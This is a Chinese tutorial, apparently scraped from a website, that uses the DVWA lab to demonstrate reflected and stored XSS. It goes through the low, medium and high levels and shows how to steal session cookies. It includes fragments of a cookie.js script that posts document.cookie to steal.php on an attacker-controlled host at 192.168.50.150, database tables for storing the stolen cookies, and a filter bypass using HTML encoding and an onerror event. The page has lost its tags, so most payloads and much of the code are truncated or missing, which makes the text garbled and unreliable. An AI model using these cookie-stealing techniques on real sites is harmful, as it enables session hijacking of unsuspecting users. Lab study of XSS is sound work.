通过DVWA学习XSS
时间:2019-08-27 15:57 来源:网络整理 作者:采集插件 点击:次
这篇文章通过 dvwa 简单研究了三种类型的 xss,并且讲述了如何利用 xss 获取目标网站用户的 cookie。 dvwa反射型xss测试环境 一台 win2003 虚拟机,ip 为 192.168.50.128,用wamp集成环境将dvwa搭在8080端口。 一台 win7 虚拟机,ip 为 192.168.50.150,用来接受漏洞网站的cookie,web由phpstudy搭建。 low级别为了便于理解,代码如下: Hello ' . $_GET[ 'name' ] . ' '; } ?> 可以看出没有任何过滤,直接将用户提交的GET参数name输出到页面,我们可以输入payload。 来验证xss的存在。
接下来是利用xss获取用户cookie,由于标签可以加载远程服务器的java代码并且执行,所以我们在win7的服务器下编写cookie.js。 document.write(""); document.write(""); document.write(""); document.exploit.submit(); 这段js代码的作用是在页面中构造一个隐藏表单和一个隐藏域,内容为当前的cookie,并且以post方式发送到同目录下的steal.php。 "; } mysql_close(); } ?> steal.php将我们获取到的cookie存到数据库中。 create database dvwacookie; use dvwacookie; create table low(id int not null auto_increment primary key,cookie varchar(100) not null); create table medium(id int not null auto_increment primary key,cookie varchar(100) not null); create table high(id int not null auto_increment primary key,cookie varchar(100) not null); 接下来我们在有xss漏洞的位置插入。 相当于构造链接。 :8080/DVWA-master/vulnerabilities/xss_r/?name= 将链接发给该网站下的受害者,受害者点击时就会加载远程服务器(这里是win7)的cookie.js脚本,这里要提一点,用src加载远程服务器的js脚本,那么js的源就会变成加载它的域,从而可以读取该域的数据。 这时,win7的数据库就接收到了cookie。
medium级别 代码如下: ', '', $_GET[ 'name' ] ); // Feedback for end user echo "Hello ${name}"; } ?> 可看出代码将我们输入内容中的 均可以弹框,同样的,插入。 ipt src=http://192.168.50.150/dvwaxss/cookie.js> 加载远程脚本steal.php。 "; } mysql_close(); } ?> 将获取的cookie加入medium表,结果如下: high 级别 代码如下: Hello ${name} "; } ?> 发现添加了对大小写绕过的判断,而且根据正则表达式过滤,提交内容只要有顺序出现的字母都一律过滤掉,只是过滤了标签,但是有一些java事件后仍然能执行java代码,构造payload。 通过加载一个不存在的图片出错出发java 事件,继续弹框,证明出来有xss,这样的payload还有很多。
在xss的位置插入。 通过触发事件跳转链接到远程服务器的steal.php,同时以GET带上当前的cookie,但是输入被过滤了。
只剩下Hello .cookie)>,what!?不应该啊,在这被坑了好久,终于发现问题所在。 注意观察我们所插入的代码,我表明的大写部分,竟然构成了一个,所以符合代码的正则,从而过滤掉了,这实在是坑啊……那我们将插入代码中的i进行html编码。 我们提交这段代码后绕过了过滤,然后浏览器进行了html解码,然后就是之前一样的过程,触发事件,对远程服务器的steal.php发送我们的cookie steal.php。 "; } mysql_close(); } ?> 远程服务器接收到了cookie的信息。 dvwa存储型xss 存储型xss的不同之处在于它可以将用户构造的有害输入直接存储起来,不需要攻击者构造链接诱使受害人点击触发,而是目标网站的用户只要访问插入恶意代码的网站就能触发,相比较反射型xss更为隐蔽,危害更大,受害者也会更多,在这我将介绍几种更为隐蔽的方式获取用户cookie。 测试环境 同上次的一样,一台win2003虚拟机,ip为192.168.50.128,用wamp集成环境将dvwa搭在8080端口。 一台win7虚拟机,ip为192.168.50.150,用来接受漏洞网站的cookie,web由phpstudy搭建。 low级别为了便于理解,代码如下 ' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . ' ' ); //mysql_close(); } 可以看出对有害输入没有任何过滤,直接将用户提交的内容插入数据库,输入点在两个输入框都有,但是后面的几种难度都对Message域的输入内容进行了htmlspecialchars转义,为了和后面的一致,我们将payload插入Name域测试xss,在此之前用firebug将Name输入框的maxlength改为600,一开始为10,然后输入payload。 Name: Message:testxss
简单的一个弹框,弹框可见我们的payload已经储存到了数据库,只要访问该页面的用户都会触发xss。
下面我们编写payload偷取该网站下用户的cookie,构造payload。 Name: Message:testxss 用标签加载远程服务器上我们编写的获取cookie的js代码,上一节我们编写的是下面的代码。 document.write(""); document.write(""); document.write(""); document.exploit.submit(); (责任编辑:admin) |





